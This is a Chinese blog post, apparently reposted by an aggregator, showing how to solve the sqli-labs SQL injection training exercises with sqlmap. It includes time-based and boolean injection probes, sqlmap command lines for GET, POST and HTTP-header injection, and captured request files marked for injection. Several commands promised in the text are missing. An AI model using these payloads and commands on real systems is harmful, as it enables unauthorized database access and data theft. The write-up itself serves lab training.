对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)
Posted lxz-1263030049
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)相关的知识,希望对你有一定的参考价值。
个人简介:
萌新一枚,渣渣一个,全程划水,会喊六六
本文断断续续已经写了三天了,其中查过很多其他人的博文
但是发现大多数人关于sql-labs使用的都是手工注入,
由于自己太渣,只能去找工具去注入(QAQ)
希望各位大佬不要见怪呀!!
不论喜欢与否都可以留言哦!!!!
关于sqli-labs的解题技巧,使用sqlmap注入,尽量少使用手工注入的方式
关于sql-labs中的1-4我已经在另一篇文章中写出具体的过程:
https://www.cnblogs.com/lxz-1263030049/p/9363151.html
sqli-labs:5-9 需要判断注入方式
具体判断方式如下:
1:用于验证时间延迟型的盲注:
?id=1’ and sleep(5) --+
2:用于判断布尔型盲注:
?id=1’ and 1=1 --+ , ?id=1‘ and 2=1 --
+
再根据回显的不同进行判断:
主要使用的语句:
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0
或者:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs --batch
其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型型注入)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
其中的—dbms : 不仅可以指定数据库类型,还可以指定数据库版本
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
-v 0参数只是为了更好的截图.
第八题:
使用语句为:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs –batch
或者使用语句:
就可以得到数据库的信息
第九题
属于延迟注入的题目(具体判断方法上面已经给出)同样也可以使用上面类似的语句:
关于第11-17:
都是属于post注入的问题,只是内部参杂着盲注的问题,需要使用burp火狐浏览器的HackBar都是可以的·
第十一题:post注入,基于错误 - 字符型
根据post回显的值就可以进行sqlmap的跑测
:
使用的语句为:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --technique ES
其中的:
--data:后面可以加上数据段(post/get类型的都是可以的)
--threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性
下面的只是需要常规的操作就可以了
第十二题:
也是类似的过程就可以了:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit " --dbs --threads 10 --batch --technique E
或者使用语句:
第十三题:可以使用语句:
同样也是可以得到答案的(其他几个也是类似的手法)
第十五题:布尔和时间延迟的盲注,
简单的注入语句为:
下面就是属于sqli-labs 18-20,
这三题主要时关于http的内容
常见的HTTP注入点产生位置为
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
第18题:报错型,单引号,user-agent型注入点
由于这一题时关于user-agent的注入直接使用语句:
python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BTES
关于txt的内容:
POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-18/ Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
就是属于burp里面的内容
-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
或者也可以这样:
--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息
sqlmap 检查uesr-agent中的注入点,
lever>=3才会去检查user-agent头是否存在注入漏洞
第十九题:报错型,单引号,referer型注入点
这一题的做法如同上一题一样都可以使用:
python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BEST
只是存为1.txt的文档变成了这个:
POST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/sqli-labs-master/Less-19/* Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
另外也可以使用这样的语句跑出数据库:
至于里面的一些内容上面已经有一些介绍了
下面是最后一题就是
第二十题:报错型,单引号,cookie型注入
对于最后一题,我就用一个最近一个看到的一题结束吧
题目链接:http://202.112.51.184:16080/
直接进行抓包看一下:
Cookie有问题,直接使用sqlmap进行注入‘
--cookie
web应用基于cookie的身份验证,对于post请求,可以指定cookie
sqlmap -u "url" --cookie="..." --level 3 –dbs
参考文章:
sql-labs Less : https://www.cnblogs.com/peterpan0707007/p/7620048.html
sqlmap注入总结:http://blog.51cto.com/wt7315/1841241
SQLI-LAB 的 实战记录(Less 11 - Less 20):https://blog.csdn.net/qq_21500173/article/details/51920968
以上是关于对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)的主要内容,如果未能解决你的问题,请参考以下文章
Mysql sql inject入门篇SQLi-Labs使用 part 2
Mysql sql inject入门篇sqli-labs使用 part 315-17